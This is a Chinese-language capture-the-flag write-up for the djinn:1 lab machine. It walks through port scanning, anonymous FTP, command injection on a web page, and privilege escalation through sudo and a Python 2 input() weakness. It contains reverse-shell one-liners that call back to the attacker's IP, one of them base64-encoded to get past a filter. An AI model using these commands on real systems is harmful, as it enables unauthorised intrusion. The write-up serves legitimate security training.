【djinn】djinn:1

kali:192.168.223.131
target:192.168.223.164

通过arp-scan扫出ip为192.168.223.164,再通过nmap扫描

nmap -p- 192.168.223.164 -A

image

扫出21(FTP)、22(SSH)、1337、7331(HTTP),每个都看一下,先去ftp,发现匿名登陆没有密码

ftp 192.168.223.164
//anonymous匿名登陆

image

发现三个东西全都get下来,并通过bye退出,通过其中一个文件,了解到1337端口是一个游戏,通过nc连接一下

nc 192.168.223.164 1337

image

就是一个简单的算数,无止境的,没啥意思,连接一下7331端口的HTTP服务,但是哪里都点不开

image

那就进行扫描,使用gobuster

gobuster dir -u http://192.168.223.164:7331 -w /usr/share/wordlists/dirb/big.txt

image

搜索出genie和wish两个目录,genie是一个403页面,wish可以命令执行,执行后跳到genie页面同时显示内容,怀疑存在命令执行漏洞

image

通过nc进行连接,但是字符被屏蔽

nc -lvnp 1234
nc -e /bin/sh 192.168.223.131 1234  

怀疑对/进行过滤,通过base64编码绕过

echo 'bash -i >& /dev/tcp/192.168.223.131/1234 0>&1' | base64
//获得base64编码YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMy4xMzEvMTIzNCAwPiYxCg==

将base64编码带入

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMy4xMzEvMTIzNCAwPiYxCg== | base64 -d | bash

image

此时目标上线,查看passwd,有两个人sam和nitish,进入home目录

cd /home/nitish
cat user.txt 

image

进入nitish,发现Permission denied,ls -la发现.dev文件可以进入,在creds.txt中找到nitish的密码

image

通过获得的密码进行提权到nitish,此时显示run from a terminal,通过python创建terminal

python -c "import pty;pty.spawn('/bin/bash')"

再次提权到nitish,再cat users.txt,里面有一串字符串,先放着不管

image

通过sudo -l 查看可以执行哪些命令,发现他可以免密码执行sam用户的命令genie,命令在/usr/bin/genie

image

查看一下genie可以用哪些命令,应该可以执行命令

genie -h

image

通过sam权限进行使用,提到sam权限,即使不知道密码

sudo -u sam genie -cmd whoami
//换个命令行
bash

image

再看看sam可以用哪些命令,发现可以通过root权限执行/root/lago的命令

sudo -l

image

尝试用root权限执行lago,弹出4个选项,这里只能选2猜密码

sudo -u root /root/lago

随便输入都不行,但是这里应该是有提权点,查看一下sam的home目录有什么,发现有个.pyc的隐藏文件

image

通过开启http服务下载到本机

python -m SimpleHTTPServer 8000
wget http://192.168.223.164:8000/.pyc

利用python反编译工具反编译.pyc

https://tool.lu/pyc/

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
from getpass import getuser
from os import system
from random import randint

def naughtyboi():
    print 'Working on it!! '

def guessit():
    num = randint(1, 101)
    print 'Choose a number between 1 to 100: '
    s = input('Enter your number: ')
    if s == num:
        system('/bin/sh')
    else:
        print 'Better Luck next time'

def readfiles():
    user = getuser()
    path = input('Enter the full of the file to read: ')
    print 'User %s is not allowed to read %s' % (user, path)

def options():
    print 'What do you want to do ?'
    print '1 - Be naughty'
    print '2 - Guess the number'
    print '3 - Read some damn files'
    print '4 - Work'
    choice = int(input('Enter your choice: '))
    return choice

def main(op):
    if op == 1:
        naughtyboi()
    elif op == 2:
        guessit()
    elif op == 3:
        readfiles()
    elif op == 4:
        print 'work your ass off!!'
    else:
        print 'Do something better with your life'

if __name__ == '__main__':
    main(options())

通过代码审计得知,猜密码的那段代码(guessit方法)属于python的弱类型比较,直接num即可==,以此获得root权限,拿到flag

image

posted @ 2022-04-05 15:18  icui4cu  阅读(105)  评论(0)    收藏  举报